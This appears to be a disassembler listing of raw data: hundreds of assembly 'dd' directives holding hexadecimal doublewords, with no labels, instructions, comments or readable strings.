dd 379C7BB7h, 321FF0h, 2479F63Dh, 22CD0BB9h, 500081EEh
dd 8ED88597h, 508098C6h, 1B58910h, 75084D7Bh, 0F003FDD7h
dd 427B7634h, 0E6F69902h, 0C0DB6F9Dh, 3C9967Ch, 2E719F40h
dd 7000CF53h, 93DEE987h, 2CBF4A74h, 0E770FEh, 0F1464103h
dd 3190EF21h, 9E938900h, 1AADAF2Ch, 2D271FA2h, 28A7C07Fh
dd 0E3A09BEDh, 0B029700h, 3996F3BEh, 361E4DAh, 1C65BF3Fh
dd 9580A3D6h, 7F3AFEE7h, 673F6Eh, 278D7B88h, 98C31257h
dd 0B2CD0029h, 5987FBC6h, 5D14D203h, 0CD2E3Ah, 0E2C36C3Dh
dd 5CAB214Dh, 45003E94h, 0CE9777F7h, 91009B48h, 0B4758CD1h
dd 7D2E0E2h, 292D2076h, 7C10A27Eh, 631216C0h, 0F4272602h
dd 8047498Fh, 7062FD9Bh, 9FB75C56h, 0DFBF0070h, 73DEED3Ch
dd 0AB03FC97h, 64BD16B9h, 6CCAE8A0h, 0E87400A1h, 0C787C0F1h
dd 0CD00F4C2h, 352E377Eh, 0FBC8C5h, 0A201F28Fh, 0CA264D5Dh
dd 2B16BA7Eh, 0FF132Ah
dd 719421C1h, 291F31E3h, 1D8012B2h, 356C7B93h, 0EF7504h
dd 34AF8A7Fh, 0B1CA411h, 9F87BF00h, 0D7E089D0h, 394F000Eh
dd 7E61D8B8h, 0CF00266Eh, 6DA555B0h, 9807DB78h, 0F6D1009Dh
dd 0E40336A0h, 0BE78EBF1h, 48858030h, 0EDBB5Bh, 5743CF40h
dd 0B88F34E8h, 0D623921Ch, 0BBC7E080h, 73D4A046h, 0D88C4B7h
dd 0B66BC1A7h, 2F69FC41h, 7A5C3675h, 640A1C0Eh, 54C11CC0h
dd 0F458E15Fh, 3CF50028h, 0CBC86626h, 3300906Eh, 1755BDD9h
dd 0E20E94h, 8735B0A6h, 0DB20BE6h, 41FFAC00h, 0EA698F5Ch
dd 0E07D1C38h, 0B9DFC03Eh, 9CA7681Eh, 0B4005198h, 20961C33h
dd 0E00AB8h, 0C853847Ch, 1379FD0Fh, 0D5BC6100h, 6FA64411h
dd 0A7F21Dh, 0B807F675h, 7A9B6A24h, 0F4062700h, 0EED36DE3h
dd 5510C078h, 0CE19684Ah, 61155406h, 18799Dh, 0BDF9C7DDh
dd 0F7E9590Fh, 0F4102E00h, 5B369958h, 1FB41F83h, 80859C28h
dd 0D5D3AE32h, 0F500CE18h, 48062524h, 0EA9E202h, 0D03A0A6Bh
dd 96808C69h, 0D80FF6B1h, 0C9BD1E00h, 2B17F36Eh, 714AE621h
dd 933E00BCh, 33E01FFFh, 60003B9Dh, 36408D4Eh, 416EB3h
dd 37C94521h, 19EE8F73h, 80DE591Dh, 700D3401h, 65EDD214h
dd 0F970FE8h, 0A5ED533Fh, 669811A1h, 3B8681CEh, 1245AC69h
dd 0EEB2A530h, 111D00D8h, 65E1B321h, 9E0E8DE0h, 0C002C62Dh
dd 0C37809F4h, 977B005Fh, 798BC8B9h, 4200FBB2h, 81E8D244h
dd 30C9290h, 35863E93h, 96D0A041h, 0F3008FF8h, 7E565DB6h
dd 98F62Ah, 4090EB51h, 0B3034E41h, 6F47140Fh, 0A5978002h
dd 93D24Dh, 63D18553h, 23A4195Ch, 0DA57FE00h, 21E6F79h
dd 77EF00FBh, 2D8AA74Ch, 2B76380Ch, 0BDBE2409h, 92460C4Dh
dd 8832506Dh, 0EDFD007Eh, 99E15159h, 0B700D323h, 3EEB93ECh
dd 1E376E14h, 9EAC7B97h, 0F88FC752h, 0D8EEA3D2h, 0FA3CEAF8h
dd 9D86DB03h, 0D826F3C8h, 0BF13B3h, 3BA1550Eh, 5640E4EAh
dd 74E87F1Dh, 78200A00h, 1CC31057h, 85F1B0h, 727FC50Eh
dd 25009E88h, 3698AFD0h, 10A7577h, 0CC1EDA65h, 60709F8Dh
dd 813E4D7Ch, 2BA8671h, 207439h, 7CF9FD79h, 24B356C8h
dd 19C18803h, 0BB1B548Ch, 0F0E8002Fh, 9259EAFDh, 2300E4C5h
dd 0E9B90157h, 72943Dh, 0F76FFEF2h, 0BE419BDFh, 6E122400h
dd 0C1D15D74h, 0C5FA0Eh, 85B4C90Bh, 0C4BEDA49h, 79D00701h
dd 0A37F3BC3h, 32660C4h, 3877ED80h, 89B05166h, 9200013Ah
dd 0E0CB4907h, 5C0C44h, 97439F36h, 141CAF96h, 0CF05EE00h
dd 4E0361ABh, 0E3D72E5Fh, 876D0245h, 0BC80DF7Bh, 805B235Dh
dd 6260E890h, 0C7CE01B8h, 7D5675FAh, 2AC900A1h, 0A7A960AEh
dd 1B00CBEFh, 4E6928D0h, 4814D147h, 62014093h, 6839429Fh
dd 13C6C86Ch, 1AB1000h, 0B8FCCEEDh, 428800AAh, 0D014788Ch
dd 0DC004CEBh, 0A5273AFAh, 6720A8h, 56368829h, 44C8766Bh
dd 0C4548300h, 77ADD599h, 3C9E0010h, 196A7DBh, 0FC003537h
dd 6A3D8905h, 1A5F08Ah, 0D68124C6h, 40497961h, 0DF3AC2FAh
dd 0DE86CC00h, 6C34F27Ch, 0B3BB0044h, 0E12565ECh, 3200A836h
dd 77F94A87h, 7558B537h, 97353F60h, 0AD404580h, 848EFA7Bh
dd 329DF901h, 0CA783802h, 90697D20h, 19183B00h, 0B4B96800h
dd 8F43C2CFh, 0CE5A751Fh, 45C7F85Eh, 91307EC0h, 0B3E3B0h
dd 5D659C5Fh, 75AC28D9h, 0D4A76600h, 5A2CEEFAh, 84CF007Bh
dd 6A182E0Ch, 0C40532B8h, 0A253B581h, 0F87054C6h, 2EAB3DB2h
dd 7C3C3B83h, 0A0A02BB7h, 20C33DAEh, 0C03F9BE7h, 201972E2h
dd 0AF00E12Eh, 770C32F5h, 1F1D9146h, 40554E64h, 0A90D6A23h
dd 0BA9898C4h, 827D2800h, 73DF813Fh, 0D70C04Ah, 0EA2ED977h
dd 4E6CF319h, 1EF007F9h, 236A0F27h, 0C303582Fh, 6F8B586h
dd 31016D0Fh, 696E8333h, 81F4BC2Dh, 9F413D3Ch, 4ACCAB00h
dd 1B77F584h, 0A843BF00h, 0A93F7D34h, 5A5C05F6h, 808C71DBh
dd 0CCFF845Ah, 86B3E700h, 29387250h, 0FE4B0030h, 47E35177h
dd 0D20031BBh, 20F405D6h, 8689DCh, 5E0DBC78h, 0FAD0BF39h
dd 0C2791400h, 7CA3C78Dh, 1BF80352h, 81B8E5F0h, 85714AE8h
dd 0D8AAE700h, 8E2541A4h, 9DA93B92h, 6F6800FDh, 0E8C2E18h
dd 365408F3h, 97004A80h, 0EBB787DDh, 0FEAF243Ah, 0C35EE83Dh
dd 0DDE0A921h, 0EBD401D8h, 0C600B5FAh, 0AC7A12D9h, 7DF8EE3h
dd 717E834Fh, 0EB6D603Bh, 960067BAh, 232A3346h, 509DD67Fh
dd 10C019h, 0CBE5297Ah, 0F1312DB4h, 372EEC3Ah, 0ED902115h
dd 340829h, 0CA859D20h, 0B98261F5h, 0DB62670Fh, 0B1F72199h
dd 6089CDB7h, 0D48075E4h, 244F61BBh, 0F52E2200h, 441823B1h
dd 1B349233h, 82D090Dh, 47A519C0h, 4478BC00h, 14284BD7h
dd 5E7105A2h, 48309123h, 0E6C0E090h, 21B778DDh, 0AA603DF3h
dd 0B844DDFFh, 4D20027h, 4574BFD8h, 0F329A17Dh, 701184CBh
dd 0AC298783h, 0C2E9CF9h, 0EB1C03Dh, 822297Eh, 0DACEAB01h
dd 475FF3C9h, 8FB0A69Fh, 0BA03F26Bh, 0BCB8D79Eh, 1B00FB54h
dd 0F0DACBDFh, 607A58h, 0E3FC6A34h, 65CD1FE5h, 5D765604h
dd 0FB805C12h, 0EF0441h, 0BE5321ECh, 151888D5h, 3771ADB8h
dd 0C7BCBD00h, 5775812h, 99A83A56h, 0C4E3DD00h, 599E807Eh
dd 0D82B5400h, 25101432h, 3F1806E7h, 840DFF3h, 19216860h
dd 33011CCh, 7315B32Ch, 48182188h, 0E7203FA2h, 1E2303E5h
dd 73145664h, 0A90C54A2h, 9D70C8D8h, 26100FC0h, 30B021E7h
dd 7513188h, 5011C71Ch, 3846D1Fh, 0D75AF400h, 38098B49h
dd 0B658000Dh, 1F8FA7AFh, 0DF28C32Ch, 81466CF3h, 4A11CB02h
dd 3491D0E7h, 0C3181034h, 16A50511h, 0C02407CEh, 9E7FF141h
dd 225A952Eh, 7035090Ch, 492C0CC2h, 0E31141EBh, 4EB56C00h
dd 5D011C15h, 3986008Bh, 0CDBA5A8h, 6700516Fh, 3E59EE9Ah
dd 38AB5C26h, 0AF0E312Ah, 1C07F18h, 85B671F0h, 0EB84DE00h
dd 0F2B09691h, 0DF43002Eh, 8CAA657Fh, 35000140h, 6E7E4A76h
dd 0C9842Bh, 0F97AFA5Dh, 7C830F52h, 2D1DE000h, 7082DAA2h
dd 354000AFh, 0F53025D2h, 9938EC37h, 39328E71h, 1A01A076h
dd 0FCDB8F22h, 9F3C002Dh, 0B8809186h, 0CF0032B9h, 2F184566h
dd 3724C6Eh, 0B40203A7h, 880F8009h, 0E3C2D371h, 0E008757Fh
dd 7B4E7Ch, 0DB2DA05Fh, 0BDD854FFh, 0F7113703h, 2A78D27h
dd 8FD31C1h, 0A6C0FF1Bh, 0C202B856h, 320FD13Dh, 0C51660E6h
dd 9F40099h, 9FCF8388h, 2B07A40Ah, 0F5270777h, 87EFF1C7h
dd 0F697D7B4h, 751C6C80h, 0A42A1817h, 0AF2D710Fh, 77600EF8h
dd 1AD5B3E8h, 492900C1h, 96D9F6B2h, 5101D628h, 0FD039AF3h
dd 40FA0FF7h, 3A4C4851h, 0F9005B13h, 0A33745B8h, 0F13BCE6Dh
dd 29098054h, 0F384CCE3h, 0D884A9EFh, 0C04F8EC0h, 61C4A2E1h
dd 0C300367Ch, 8C7ED6A7h, 0FE0BCF8h, 0E44E8867h, 0BEA055CFh
dd 0A5AECE46h, 71E86900h, 845004D0h, 0E1DC03E5h, 4F2EF957h
dd 0EAB607E8h, 0BB67BF0Eh, 1B36E7A0h, 0A472A6E0h, 0A7BD1826h
dd 0E8CB1878h, 0E9F46000h, 8DFDBBFEh, 0C0CE0045h, 1AD626Eh
dd 0AE744736h, 2821D960h, 0F0D0CE5Dh, 55FB0F25h, 803C236Fh
dd 0FC119AEFh, 0B9036CEDh, 0BA824A8Dh, 639EC0FDh, 581E0391h
dd 5BE9214Eh, 509D0930h, 1F6CBEEDh, 0C19491h, 0ABC633BCh
dd 3C1855AFh, 0A17882F2h, 81ED6007h, 409D3FB0h, 9770E33Fh
dd 0AD186248h, 722E580h, 0B4748A51h, 0A6FBC318h, 2A901860h
dd 0C0453F5Fh, 0F9FA0910h
dd 0E400D572h, 27823307h, 705EF8h, 0B859A08Ch, 22A44EA2h
dd 0A3A9A600h, 0E419EA3Dh, 3172006Fh, 0C83C65DAh, 17000542h
dd 4118ADFEh, 0E46099h, 1ECD3249h, 0B1B0B3FBh, 0D8862700h
dd 0C642DE35h, 444A009Eh, 0DCC1FC8Ch, 88000E54h, 0DCC1626h
dd 0EDF66Ah, 0D8217030h, 19170AC0h, 821F8F71h, 11C0392Bh
dd 545527ADh, 21E91D7Fh, 0B7BB4062h, 20D459C2h, 76F3E50Fh
dd 0E97D016Fh, 9CE0E0EDh, 1CE600C3h, 0E8D8CD3Ah, 422F6C90h
dd 3DF5085h, 82EA4C92h, 0F2A916FCh, 632470CFh, 0B63841B0h
dd 0E2B70083h, 0EAA84E78h, 9DE875h, 2B5A795h, 0BE6E74EDh
dd 410009EEh, 1D37EABFh, 3CDF13B9h, 6486B584h, 9BD4C94h
dd 0B0AEEA43h, 0D2D71585h, 985FF010h, 5D4648h, 4CBAE31Dh
dd 0E789BBh, 6DF1855Ah, 9F638DC6h, 93292064h, 11861321h
dd 0A4116AFDh, 13971215h, 0B927B78Ah, 1FCC8838h, 84FB2B88h
dd 4E2EBE9h, 6A406C25h, 0B54345C5h, 583A8F42h, 228421C4h
dd 0E342CB48h, 2DFF447Dh, 441B5D44h, 2284E7C1h, 292294ADh
dd 0CC50225Eh, 0F02C3B20h, 87790E01h, 0BC00C207h, 0F62AD8A3h
dd 304A5100h, 966A215Fh, 60473A64h, 588EEF87h, 18150034h
dd 54006DCDh, 9E9F598Bh, 4A8630h, 0C799E76Fh, 4D329C01h
dd 0C88E4302h, 600EF2D9h, 272477h, 0A83F1F5Ah, 74FEF728h
dd 0A500AF72h, 31EC6682h, 3FDB62CEh, 158748B3h, 0B010A375h
dd 83B0601Eh, 0CD4C1200h, 296E68C8h, 22C103EBh, 0C7D6F4Bh
dd 0D71AFDC8h, 5833F100h, 0E56ADFDCh, 39CE3FBEh, 74C4E080h
dd 0C669D8ADh, 0CF68E300h, 0BBC8D2FFh, 8CB300BFh, 8E5A2986h
dd 1009698h, 0A508EC89h, 9B61481h, 0ED13DEA6h, 69A03003h
dd 0D7D1E6A0h, 1000747Ch, 0AB1809B0h, 38130150h, 23800AA1h
dd 0C8696F5Bh, 0CC0096C0h, 7E65F9DCh, 1E76D0E7h, 0C07AAB98h
dd 4EE36C8Eh, 0AE0096BAh, 0ACADD2FCh, 0F2D0A71h, 0D8FA292Bh
dd 0D2E1838h, 310122F8h, 0A312A5CAh, 0EFDC2362h, 0A6B2035Ch
dd 904E92B8h, 2FF72C04h, 8C804BE5h, 3575466h, 5C2BBBA1h
dd 78B04E29h, 0D400E9A4h, 3540F31Ch, 11FC7BEh, 0B2813273h
dd 0ECBC9056h, 0B8079430h, 0C4F4414Bh, 0C00DFB80h, 32290078h
dd 0AB6C577h, 0E0B03B1Ch, 42130F00h, 54F7609Ch, 61393A38h
dd 0EB208C03h, 0D590B093h, 2700E0DCh, 0A169CE92h, 0AEB22Eh
dd 57F0E295h, 8312024Fh, 3072FE39h, 7CF43C5Ch, 44850148h
dd 4E5D641h, 0DF6CFCEBh, 0AA43F012h, 3C2C28h, 0A525B949h
dd 11761CEh, 0C4C3A901h, 9A3B4DDh, 985EE870h, 0BB390018h
dd 8691016h, 0A71CF687h, 0E1C0413Ah, 73755B7Dh, 0A4000C5h
dd 0C79284A3h, 900B92Ah, 28F5429Ah, 74FAE78h, 7ADF39D9h
dd 17DA10FBh, 331FFF70h, 0D1C07D8Ah, 90513850h, 0D7020028h
dd 0C0D60C83h, 0B77BFE4h, 2EABC91Eh, 0C200B6A4h, 0A7319B3Dh
dd 0A95800BEh, 65B9E6A2h, 57005D6Eh, 0E27DB79Dh, 80047Ah
dd 3F19C0D3h, 0CDA7C8FBh, 0F6AA9801h, 42BE70EFh, 2CADE4h
dd 0BC0F2A2Fh, 50E5AC0Ch, 0E8D64E02h, 0C8E444B7h, 0ED171E0h
dd 0EBDC5157h, 81BB301h, 0A843CCC9h, 9CC3FF39h, 0AF47715Bh
dd 265077AEh, 921795h, 2D02591Eh, 0A78ADD1Ch, 73E92A3Ah
dd 8E5C3Bh, 0CC12CDA5h, 24DB37E6h, 170D4C3h, 6EB0D8BFh
dd 8E34C496h, 9B797303h, 60E837D7h, 11ECE8C2h, 0A00A2BAh
dd 24A613A9h, 2396364h, 42C3193Fh, 8403506h, 0EE01795Fh
dd 331BB6A5h, 0D5C1ED36h, 573FCh, 0A159CAC8h, 1F514A43h
dd 0D446821Fh, 0AAB9C987h, 0B3E40433h, 0A18DE0DFh, 40FE120Fh
dd 7900050h, 0BAA87C98h, 0E83C87FAh, 24C780D8h, 372CC58Fh
dd 90FCA8EEh, 0EF0D00DDh, 2D3FCE69h, 44005622h, 0AC7FC267h
dd 2A73A6h, 3815F04Ah, 0D95E37BBh, 990062F2h, 0F118472Fh
dd 5528C3h, 0A554898Eh, 0E5F2EA0Ch, 0D60090FCh, 309302A3h
dd 0E1291Bh, 0CD80210Eh, 2CD00841h, 95009F79h, 9B504497h
dd 29A665C9h, 0E45C9Dh, 2DFD05DDh, 9F009495h, 22262460h
dd 504DF5BFh, 700AEE3Ah, 54F4BAh, 0F623F40h, 0A998DA44h
dd 45088503h, 80364F01h, 97B33BEh, 0B67DE2B0h, 43292680h
dd 2A00EC15h, 39E7497Eh, 2756C2h, 0F9FEEA35h, 68536FCEh
dd 93A0C100h, 70E7E17Fh, 5F6C000Bh, 17FA74D9h, 0B0009289h
dd 0C30CC95Ch, 46B471h, 2D13DC63h, 85ED5ACFh, 10123675h
dd 8207DD20h, 807FB2DAh, 903D580h, 461F00EEh, 510D91A6h
dd 0CD005A47h, 1524E938h, 0E68E4B34h, 41030083h, 877CB54Ch
dd 895ABA39h, 0E900F3E8h, 0C468F186h, 0EDEAA473h, 0AD406E12h
dd 0CA88003Eh, 89E0D0C0h, 6C0013Ch, 0DB6EE6D7h, 4045F05Dh
dd 73B51C00h, 0BD77A6BCh, 0B0B256h, 2263D24Bh, 18D69DE8h
dd 3E36993Dh, 6E690094h, 7A98B51h, 0AD080104h, 5C75D510h
dd 11F6E0B1h, 0D170E61Ch, 90C71941h, 0FAE05A97h, 0DB2700A0h
dd 8E211F28h, 0B402CBDFh, 0F7C7CEB5h, 0BCD8C053h, 99EE2602h
dd 40BB004Ah, 0A3A177Eh, 5D4E6E00h, 0A64C7D1Eh, 897B00EEh
dd 41485498h, 5A007840h, 2B2017E6h, 7AC408h, 12353138h
dd 88F764CBh, 984DE400h, 0DE61FD0Ch, 68511449h, 48009F17h
dd 0B855F615h, 7D0F87F0h, 0E08C8365h, 16D218B5h, 20AE004Bh
dd 0CBCDEC9Eh, 0D8A05BC2h, 7400500Fh, 0DD05E2B1h, 0D0C056h
dd 9B54C41Fh, 0F2291221h, 95099DF4h, 0FFF705C6h, 0CCB58C00h
dd 34F39F6Fh, 9B014CF8h, 0FD5D8D84h, 0D840DCB1h, 713431h
dd 14A2D46h, 7CAB082h, 830E4212h, 0C9EEB505h, 8C34DCC0h
dd 0B66C00B1h, 0F11C03ECh, 81000ED4h, 88A887D6h, 0A547F8h
dd 1C20B44h, 2FA97BCFh, 1D00A1EAh, 0CC7CED5Eh, 7846FB1Ch
dd 0A50F00B2h, 0FAA2F197h, 4A00DCF6h, 0E161E4DFh, 5F4C60h
dd 687B418Ch, 1681D329h, 8F95FF07h, 38723CB4h, 0D1CAE01Fh
dd 7C6100DBh, 5C0DD915h, 1800EEB0h, 0F4763E48h, 0E042A5A9h
dd 0B43A00BAh, 3C942320h, 0B770F57Ch, 1400D778h, 54931E71h
dd 0BB646Ah, 9F7421B5h, 0C877E826h, 52600526h, 0A828F200h
dd 18E11C9h, 0CABE9364h, 0F012B3A6h, 60025E2h, 88F5A34Bh
dd 4F1962h, 0FFEFB42h, 550DB5C0h, 7DE9C100h, 0D1A3D3ECh
dd 0B4B000A7h, 94E53D62h, 0B600BBC2h, 0AD1254C7h, 5F2CE1h
dd 0A523599Eh, 1ADD91D1h, 6211B39h, 66F6FB22h, 10D20382h
dd 7E390A5Ch, 0A6FD4C88h, 11672300h, 0E3AA59D1h, 0BB052CD3h
dd 124600D0h, 6B89754Eh, 0BE977100h, 0E829E25Dh, 0ED3C1DF3h
dd 0E3638092h, 0BDBA5525h, 90D02300h, 359B5D05h, 0AF523ACAh
dd 0D74EA481h, 0A8F126E0h, 0BC008E62h, 9CC9C21Bh, 49449Eh
dd 16DFF8EAh, 3CAA3532h, 632A4E00h, 266D66E0h, 0FE97018Ch
dd 1B0C10CDh, 0DCEC24D0h, 0A98FA100h, 0DDBB4AA7h, 0E6C8016Bh
dd 810A2375h, 47557111h, 0A15440D4h, 0A71EAD0Dh, 4EC014B4h
dd 3BD8C23Ah, 0D9790077h, 0A4F243EFh, 0EE00D14Ch, 677BFA10h
dd 3FE96375h, 9E00F7B6h, 597A6162h, 0E004452h, 10848E73h
dd 1D0A82C1h, 3EC29C94h, 5C3D17h, 0BE3FB98h, 4F1EC71Ah
dd 0A5809A2Dh, 0D867494Dh, 158D1795h, 0BBF100EFh, 24F94C64h
dd 53BA3C00h, 81EEF629h, 31620310h, 506F34D2h, 0F2E34ED2h
dd 938A1298h, 0FDA08CF4h, 5A0F635Dh, 8009D33Ch, 500A6EABh
dd 0A2F60026h, 0C74630FCh, 0E60055BBh, 9D818A5Ch, 77853C01h
dd 0AA1500C3h, 9B0E724Bh
dd 0A1F65ECAh, 8D176E16h, 0CFC19E00h, 124B84h, 8D82045h
dd 3D4FA767h, 0C02C9A0Eh, 40019F41h, 9DC775C4h, 20853C8h
dd 0F2109FA6h, 0BFE074C1h, 6F0073E5h, 6123243Bh, 0EDBF48h
dd 4FF2D564h, 0A5AD2825h, 5900D275h, 0D094E28Ch, 9D783Ch
dd 8231CB9h, 6870C96Ch, 8085CC3Eh, 0C64D2C5h, 38A7CA82h
dd 431761E5h, 930D0025h, 0C48E13FAh, 0F17AE100h, 3683D3CFh
dd 8FC00F0h, 0EBA58690h, 8A0024BCh, 0EDFD4187h, 3D61C79h
dd 702B3BA1h, 57F8E469h, 0FC0FB91Eh, 0FE7EBA92h, 965E1F40h
dd 48EE2A8Bh, 0BD1DC8ACh, 6D718033h, 18308C8h, 2B9DAF00h
dd 5255B998h, 7B6E6D0h, 0BF2E991Ah, 0D8030A4h, 0A80B6710h
dd 285945h, 0B7FCB899h, 0D1E93AF2h, 0B405C914h, 0A59A9301h
dd 0CC749E85h, 0FD296586h, 0A604C021h, 0B6C3D166h, 768380BDh
dd 0D6070F0Eh, 3FE0CE15h, 3495DC61h, 5D9D9B00h, 5F5BF837h
dd 0BE99008Eh, 124C97FCh, 291C21D5h, 4E8066B0h, 5F1587A3h
dd 0C29800BAh, 0BC89CC10h, 0B1C02481h, 0F3857C13h, 9384079Ch
dd 0A0225BF7h, 1406AF07h, 3CEA5503h, 90A160E8h, 1A05DAh
dd 3761963Bh, 0C6AE0106h, 0AB354307h, 9AC051B2h, 0C199AFE5h
dd 49CF4E88h, 0D284C433h, 41045CF2h, 0EB56DB9Fh, 0A9E89CC0h
dd 0CD0C3D0Fh, 3F96CB00h, 0FF8F5F77h, 1A658300h, 583A460Bh
dd 51E01F3h, 9EE3D0A1h, 8BA1C7EFh, 0C4A0DDEEh, 630068DCh
dd 0BDFD1769h, 18473DB7h, 0E10196B2h, 760EAEE4h, 40623369h
dd 54CE220Bh, 5870010Dh, 0E39DABEAh, 4875E45Ch, 0D7506100h
dd 0D56BB9E5h, 72050022h, 0FC2C5903h, 3C00FE31h, 9F535F97h
dd 48CE39E5h, 8A07A085h, 5CF63552h, 131F9870h, 5103AE62h
dd 1F233845h, 1CADD89h, 0C43F6393h, 850C20B6h, 35FE3A03h
dd 0A7CF8128h, 0EFEAF900h, 7078007Ch, 4B9724A4h, 540019DDh
dd 0D1FD59CDh, 0F18D1Dh, 0F57892Ah, 21ACB69h, 38005479h
dd 20FF7539h, 2126131h, 520C470Eh, 46407EDCh, 0F500F16Fh
dd 7001D88Ch, 26744B31h, 0FE65578h, 19800DD3h, 9DBDBC40h
dd 3D12CF00h, 81B0A12Fh, 514B0787h, 70071925h, 0BC60CDB6h
dd 2D84A400h, 0EF5E63FFh, 16FB0076h, 8C1A78BDh, 270052F1h
dd 0EB5A8D4Ch, 89EFE8h, 0CEAEDC70h, 0B2ECFE64h, 38CA7224h
dd 5A403400h, 1F44B9F9h, 401E1C8Eh, 93DBFAEFh, 0EB00120Dh
dd 1D2CB897h, 0E63EA5F8h, 39E61462h, 0C84C0E0h, 0AB226138h
dd 0C4800E13h, 63263AB5h, 20003C11h, 2F8725CAh, 39876C5h
dd 0D7F3F9C9h, 1000C041h, 0C37ABA2h, 7F1E33h, 0A6B277Ah
dd 0C3360DD1h, 144EF43Eh, 13C1736Ah, 0B80E7492h, 0AF55EF66h
dd 0B3504C5h, 1FA3ACD0h, 7C7794h, 0F6592857h, 0B79ADAE5h
dd 1AEE5D0Fh, 0D05640CBh, 41C991Bh, 766C5EDBh, 6F1891C8h
dd 7EAC6080h, 27425807h, 43E066AFh, 0E4E9DCFAh, 0A979ECh
dd 36ACEAFFh, 9048F38Bh, 1198FB00h, 7DC18468h, 0E73F0049h
dd 152C50F8h, 26038A94h, 0A8647323h, 674980Ah, 0B1C90019h
dd 0E693F3D6h, 0D3014546h, 7339E33Eh, 0B040472Ch, 37F01Ch
dd 23DD9A34h, 0A9289942h, 800A3C2Ch, 2E50033Dh, 0F85F0C25h
dd 910FC8h, 0F144F040h, 0DE6B874h, 0C91613F0h, 8C008B29h
dd 0B37F55A7h, 0F48A001Ah, 79A5E546h, 0FC587EE7h, 69007494h
dd 0EC4BAFE9h, 5D2B5Ch, 0B33DE638h, 0EA578175h, 48DAA606h
dd 1DA0A845h, 1918B87h, 1D67D6D9h, 582C203Dh, 68FB2600h
dd 0F47E7524h, 9CD90010h, 2C122D64h, 0F77239BBh, 88B02375h
dd 87B9EF10h, 0F021AB10h, 12ED5DA2h, 1CB839C3h, 506CEE0h
dd 207EA9C0h, 0EFA282Ah, 0D2B00905h, 0F5C07ADBh, 886F35h
dd 4AD46CB2h, 985F51CDh, 447DC300h, 438E9D63h, 0F474005Ah
dd 64681683h, 5600BC80h, 8F2E9052h, 3D592Ch, 0F4690A7Bh
dd 15294974h, 2F738C00h, 8FE99005h, 71282823h, 24FD0084h
dd 21D010BDh, 0E100A053h, 5FCC88B0h, 8A77C2h, 4E63F26Fh
dd 0B8EBB5AAh, 0A2276800h, 6040FF91h, 65850024h, 9CE4F5C8h
dd 0DA169AD1h, 7C017A0Ch, 533BA289h, 51584F15h, 0C0DC5D12h
dd 5BE56713h, 0AB0087E6h, 5F190CC7h, 0B0CA6B39h, 8DB33967h
dd 20B050h, 0B6B55DBAh, 21732AADh, 646D58h, 5FBDB1A1h
dd 0B71A0E6h, 4ABCFEC7h, 0F5ED4001h, 8E21C415h, 55AD7400h
dd 8D325DF1h, 160B0026h, 8C9EA29Fh, 0B107097Fh, 482252CBh
dd 0C30160B0h, 0F416002Dh, 5F586113h, 8E05BCA1h, 9ABAFD78h
dd 0ABDA5480h, 52B824A4h, 430312D3h, 0EFAEE6C0h, 228BDFE0h
dd 0B9C1A0C0h, 39BD61Ah, 9C58FA2Bh, 0FEB82619h, 0CE00833Eh
dd 419002EEh, 50B04B4Ah, 85C87Dh, 0F80A2029h, 89CBDE69h
dd 0B176D201h, 55BACD66h, 6EC7061h, 0D6620132h, 652FF090h
dd 0C80C7088h, 0DF124960h, 5EE8C0Dh, 34E42DC4h, 0D1C8017Fh
dd 0F4107206h, 5E0FD48Dh, 0C00CD83Ah, 52BEB79Eh, 0B3050CC6h
dd 9FD12B8Bh, 0E862441Fh, 0F4403A16h, 75401CDh, 401C0087h
dd 4CC729C1h, 893932CEh, 60F281B9h, 0C9A52F1Fh, 0A1608F4h
dd 26456805h, 21820096h, 913518A3h, 921D6000h, 8EAE1AEDh
dd 69251D03h, 7EFD00CAh, 0EA54A0ACh, 5F08E91Dh, 0E1822A82h
dd 478681Dh, 4CA10767h, 0E0DA8C5Ah, 35603998h, 0EB3BEA0Fh
dd 27C320FAh, 287EF79Fh, 1D89543h, 0DE6E06B2h, 6177D9FFh
dd 4ADDF060h, 0E703F272h, 44EDD891h, 0DF8288B9h, 18F00347h
dd 0DBEE86E3h, 9AC8B7DBh, 701F74Dh, 1192715Ah, 0BC60E9AAh
dd 38E8035Fh, 0C341BDD2h, 26B303F0h, 0CD88A600h, 1651D9C9h
dd 7A183807h, 86291381h, 0E8CF46D8h, 0B30096F6h, 14A25C99h
dd 0A2A32h, 0FEABE790h, 0ED8AD3B7h, 0AE483E75h, 1C38D7h
dd 4FF13732h, 9DA5BAh, 59A88862h, 44C25B50h, 32B72600h
dd 98A98E9Ah, 7A9B00F4h, 61F6B26Fh, 0BEB0A51Ch, 37631500h
dd 0AA838E8Ah, 7747EABCh, 672E009Bh, 0CF06861h, 100086E7h
dd 776EF962h, 98F1E2C2h, 146BF6DCh, 0B00B4AB3h, 374FB002h
dd 0A2008F33h, 48BAFE63h, 47804492h, 0BD389AAEh, 74DEB600h
dd 290813C9h, 97EF03A4h, 0ABB2C8EBh, 74A3FE0h, 0DE0E3773h
dd 1BFF742h, 934606E5h, 0B70FB041h, 0A00BE3E0h, 0B05AF280h
dd 0DCE00084h, 46F3CB62h, 0FEFA72CAh, 0E9DBD502h, 4B0AD094h
dd 7A12C060h, 29981F9Ch, 0A41C0658h, 0B8E6BC51h, 37F9490Bh
dd 0CE0C8044h, 0F2107C9Ah, 11DE0185h, 0B4DA6C98h, 0CAF0308Fh
dd 729B3B24h, 59226A01h, 0C8649CD7h, 904300C4h, 0B3F7628Dh
dd 260E5037h, 4085FECAh, 60F9DC1Eh, 39DD3B61h, 16B57B24h
dd 622C0F67h, 0E7881720h, 4E0BF53Dh, 5AFAB6h, 7F56FB4Ch
dd 0E3AE4C4Fh, 6DE9F600h, 74FFD0BCh, 48BB712Eh, 8D631700h
dd 3D2040D2h, 0E302CA9Ah, 141123FAh, 49ED4CC0h, 3EA18440h
dd 3B025C0Fh, 1B6D0446h, 7D588C81h, 596A6033h, 3CF06439h
dd 36CA7EAh, 0F083A714h, 0F4113AD1h, 4C201F5h, 0DF7A618Bh
dd 7D2CF463h, 4AC73803h, 3787398h, 5C3465D0h, 0F6A0B1D0h
dd 0E501BC4Eh, 60EDB4E4h, 6C30E299h, 3A9700A2h, 7862243Ch
dd 0CF0674FAh, 4DD39FFDh, 0EDE80499h, 0C02BC558h, 0BA9019ACh
dd 2276F300h, 5C7B0E3Bh, 7C9886h, 0B235679Dh, 0BCAE6370h
dd 373BA00h, 0CFEEDBAAh, 0A66C142Dh, 7ED02Eh, 0F16FA064h
dd 0D9250148h, 2CACDF03h, 0C7DEC7FCh, 98750550h, 4FDA00E2h
dd 2BB4483h, 2E0FF236h
